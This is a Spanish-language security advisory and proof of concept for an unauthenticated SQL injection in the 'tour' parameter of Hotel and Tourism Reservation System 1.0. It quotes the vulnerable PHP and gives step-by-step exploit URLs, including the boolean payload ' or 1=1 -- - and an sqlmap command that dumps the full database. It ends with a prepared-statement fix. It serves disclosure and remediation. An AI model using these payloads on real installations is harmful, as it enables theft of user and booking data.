
Prueba de concepto para inyección SQL no autenticada en Hotel and Tourism Reservation System 1.0, que demuestra la extracción de la base de datos a través del parámetro tour.
| Campo | Detalles |
|---|
| Título | Sistema de Reservas Hoteleras y Turísticas - Inyección SQL vía el parámetro GET tour |
| Proveedor | code-projects.org |
| URL del Proveedor | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| Producto | Sistema de Reservas Hoteleras y Turísticas |
| Versión | 1.0 |
| Tipo de Vulnerabilidad | Inyección SQL |
| CWE | CWE-89 |
| Puntuación CVSS | 9.8 (Crítica) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Archivo Afectado | /ht/tour.php |
| Parámetro Afectado | tour (GET) |
| Autenticación Requerida | No |
| Explotable Remotamente | Sí |
| Investigador | Syed Imad Uddin Alvi |
Existe una vulnerabilidad crítica de Inyección SQL en el parámetro GET tour de tour.php en Sistema de Reservas Hoteleras y Turísticas 1.0. El parámetro se pasa directamente a una consulta SQL en bruto sin sanitización, sin sentencias preparadas y sin validación de entrada. Un atacante remoto no autenticado puede manipular la consulta para extraer, modificar o eliminar cualquier dato en la base de datos. La vulnerabilidad fue confirmada mediante un volcado completo de la base de datos usando sqlmap.
Código vulnerable en tour.php:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID se toma directamente de $_GET['tour'] y se interpola en la consulta SQL sin ninguna sanitización.
Configuración: Instale el Sistema de Reservas Hoteleras y Turísticas 1.0 en XAMPP y acceda en http://<target>/ht/
Paso 1 — Visite cualquier página de tour como usuario no autenticado:
http://<target>/ht/tour.php?tour=4

Paso 2 — Inyecte una comilla simple para romper la consulta SQL y confirmar la vulnerabilidad:
http://<target>/ht/tour.php?tour='
Resultado: Se genera un error fatal de MySQL — confirmando que la entrada no sanitizada llega a la consulta SQL.

Paso 3 — Confirme la SQLi con una carga útil basada en booleanos:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
Resultado: La página se carga normalmente con datos del tour — inyección booleana exitosa.

Paso 4 — Vuelque toda la base de datos usando sqlmap:
sqlmap -r sqli.txt --dump --batch
Resultado: sqlmap vuelca con éxito todas las tablas en hotel_db incluyendo users, rooms, tour_reserves, gallery — se confirma el compromiso total de la base de datos.

Un atacante remoto no autenticado puede:
INTO OUTFILE si se conceden privilegios de archivoEl parámetro GET tour se interpola directamente en una consulta SQL en bruto sin usar sentencias preparadas, consultas parametrizadas ni sanitización de entrada:
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — Investigador de Seguridad Independiente